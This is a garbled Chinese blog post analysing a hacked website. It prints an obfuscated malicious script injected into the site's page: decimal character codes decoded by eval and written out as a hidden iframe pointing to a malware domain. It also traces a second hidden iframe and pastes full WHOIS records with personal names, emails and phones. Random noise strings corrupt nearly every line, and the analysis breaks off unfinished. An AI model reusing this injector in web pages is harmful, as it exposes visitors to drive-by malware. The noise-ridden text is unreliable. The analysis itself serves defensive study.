首发在我的博客里面，
eN| HJ= %%+mWz a http://www.areway.cn/?p=175 2c"N-c&A [Zt#
c C+ &J;H @d|| 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
Cb
)= n 6 hVipr hC <script>t=’60,105,102,114,97,109,101,
=|gJb|?w 32,115,114,99,61,104,116,116,112,58,47,47,
3Zaq#uA 102,114,101,101,46,117,45,117,117,117,46,99,
N0K>lL= 110,47,101,114,114,111,114,46,104,116,109,
cbh#E)[ ' 32,119,105,100,116,104,61,49,48,48,32,104,
o,CA; _ 101,105,103,104,116,61,48,62,60,47,105,102,
6R-C0_'h 114,97,109,101,62′;
bQXc IIa{ t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
KcmDF4C2 : ,S8T%d <script>t=’60,105,102,114,97,109,101,32,115,
oP=T6PX~l 114,99,61,104,116,116,112,58,47,47,102,114,
a81!~1A 101,101,46,117,45,117,117,117,46,99,110,47,
+24|_Lx0 101,114,114,111,114,46,104,116,109,32,119,
ovQS
ET18b 105,100,116,104,61,49,48,48,32,104,101,105,
LZUA+ x ( 103,104,116,61,48,62,60,47,105,102,114,97,
d DIQ+/mmg 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
! v-w6WG" document.write(t);</script>
K9C@dvFH H b
A3*2 <html xmlns=”
Z{a{H X[Jx http://www.w3.org/1999/xhtml ! [a/kj “>
Wkg*J3O <head>
S aR}\Up <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
'0CXHjZ N <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
pcRF: ~TE <title>首页 - 爱生活家庭网
)BF \!sTn u>,lf\Fgz 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
XN~#gm#
转换字符串后的大概内容是（谁点击后果自付）：
g{A3W) [ b <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
<ELziE~>V <TLGfA1bC 查询玉米u-uuu.cn的详细信息：
& \"Y/b] Domain Name: u-uuu.cn
!B [1zE ROID: 20070901s10001s64972306-cn
] r/(n]=( Domain Status: ok
v:veV. y Registrant Organization: 王雷
f.b8ZBNj> Registrant Name: 王雷
IOsXPf9@ Administrative Email:
czlovexs@126.com u Q:ut( Sponsoring Registrar: 北京万网志成科技有限公司
VD9
q5tt7 Name Server:ns.yovole.com
vx\nr8'k Name Server:ns1.yovole.com
y3={NB+ Registration Date: 2007-09-01 17:54
`d}W;&c Expiration Date: 2008-09-01 17:54
I" 8d5a} 最后PING了一下地址 都没有什么….
C
'B4 mmC ilDJwZg# 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
< -Hs<T|tW <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
:b <-[8d& <script language=”javascript” src=”
mD D4_E2* http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script _l#3]# >
ERp:EZ' 这个玉米应该有可能是木马作者的：
oF%^QT"R foafau.info的详细信息：
gB/;clCdX) Access to INFO WHOIS information is provided to assist persons in
q4sl=`L5Sp determining the contents of a domain name registration record in the
Q7CwQi Afilias registry database. The data in this record is provided by
K,x$c % Afilias Limited for informational purposes only, and Afilias does not
tr}KPdE guarantee its accuracy. This service is intended only for query-based
K[Y c<Q access. You agree that you will use this data only for lawful purposes
Y H<$ +U and that, under no circumstances will you use this data to: (a) allow,
X+`ddX enable, or otherwise support the transmission by e-mail, telephone, or
-@%t"8 facsimile of mass unsolicited, commercial advertising or solicitations
U9<_6Bsd to entities other than the data recipient’s own existing customers; or
_-@ZOhw& (b) enable high volume, automated, electronic processes that send
n\Z^K queries or data to the systems of Registry Operator, a Registrar, or
tv 4s12& Afilias except as reasonably necessary to register domain names or
Fy 4Tvg modify existing registrations. All rights reserved. Afilias reserves
*oEv ,I_ the right to modify these terms at any time. By submitting this query,
`j"4 : you agree to abide by this policy.
]{K5zSK Domain ID:D22418703-LRMS
/;(<fh<bY Domain Name:FOAFAU.INFO
* T JBPM, Created On:20-Nov-2007 16:05:42 UTC
H<V+d^qX\w Last Updated On:20-Nov-2007 16:05:44 UTC
}x:\69$ Expiration Date:20-Nov-2008 16:05:42 UTC
$!3gN% Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
/\ TQc-k?2 Status:CLIENT DELETE PROHIBITED
}7iUagN Status:CLIENT RENEW PROHIBITED
3xBN10R# Status:CLIENT TRANSFER PROHIBITED
5c<b| Status:CLIENT UPDATE PROHIBITED
MS{Hz,I, Status:TRANSFER PROHIBITED
m3U+ du Registrant ID:GODA-040110615
^ D9
/ Registrant Name:liu hong
i'M^ez)u Registrant Organization:
!?BW_vY Registrant Street1:beijing
AGh~8[ Registrant Street2:
f|X[gL,B Registrant Street3:
P7}t lHX Registrant City:beijing
lP}o[Rd Registrant State/Province:
8BHL Registrant Postal Code:100000
F`fGz)Mk Registrant Country:CN
,"@w>WL<9 Registrant Phone:+86.860108888777
(3AYy0J% Registrant Phone Ext.:
rQ=xcn[A Registrant FAX:
&|/vM. Registrant FAX Ext.:
"(0oP9lZ Registrant Email:bbbshiji@163.com
])N|[ |$ Admin ID:GODA-240110615
!IO&&\5 Admin Name:liu hong
0FG5_t"",\ Admin Organization:
hbV E;
9 Admin Street1:beijing
|)^clkuGX Admin Street2:
:L]-'\y Admin Street3:
w|&,I4[" Admin City:beijing
:0B
|<~lX Admin State/Province:
&K06}[J Admin Postal Code:100000
j?=V tVP Admin Country:CN
H9sZR>(^ Admin Phone:+86.860108888777
$ b4*/vMr Admin Phone Ext.:
cE^kpnVq|< Admin FAX:
:[ L{ KFQU Admin FAX Ext.:
~@xT]D!BQ Admin Email:bbbshiji@163.com
S2Zx &D/_ Billing ID:GODA-340110615
!)N YW4" Billing Name:liu hong
Dz,uS nnm Billing Organization:
\^yXc*C Billing Street1:beijing
w-J"z C Billing Street2:
<H<!ht%q3 Billing Street3:
\.5F](: Billing City:beijing
:]EP@ .( Billing State/Province:
Dp^"J85}
Billing Postal Code:100000
E
yd$fcRK Billing Country:CN
@o`s f-8x Billing Phone:+86.860108888777
+I vNyj| Billing Phone Ext.:
"Lb f F Billing FAX:
n.@#rBKZ Billing FAX Ext.:
aZP 2R " Billing Email:bbbshiji@163.com
z|uOJ0uK Tech ID:GODA-140110615
]n~yp5Nbr Tech Name:liu hong
eUYZxe :6 Tech Organization:
P=2wkzeJj Tech Street1:beijing
w(/7Jt$ Tech Street2:
uG4$2 Tech Street3:
O97VdNT8 Tech City:beijing
bk .*k ~_ Tech State/Province:
w_\nB}_ Tech Postal Code:100000
c 2/"KT Tech Country:CN
j]AekI4I Tech Phone:+86.860108888777
? 'Cb-C_ Tech Phone Ext.:
[9LxhPi Tech FAX:
8IeI0f"l) Tech FAX Ext.:
'[%jjUU Tech Email:bbbshiji@163.com
1bd$XnU Name Server:NS27.DOMAINCONTROL.COM
dQ,Q+ON> Name Server:NS28.DOMAINCONTROL.COM
CdZnD#F2 Name Server:
i)=m7i Name Server:
X| ,["Az
8 Name Server:
gglf\)E;}E Name Server:
B4@f Y Name Server:
XWJ SLN(O Name Server:
\Ps5H5Qk; Name Server:
VDG|>#[! Name Server:
&0s*P G Name Server:
lbd(j {h>4 Name Server:
F9%,MSt Name Server:
>$Fp}?xX N=q#y@ L 接着下载每个文件里面的代码：
<o2,HTWNPS 一步一步看..
{ E^U6@ 
Zgy7!A F! 
XJc
,uj7 
C1 tb` 
UA dz-)$ 
ea 2 `q 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
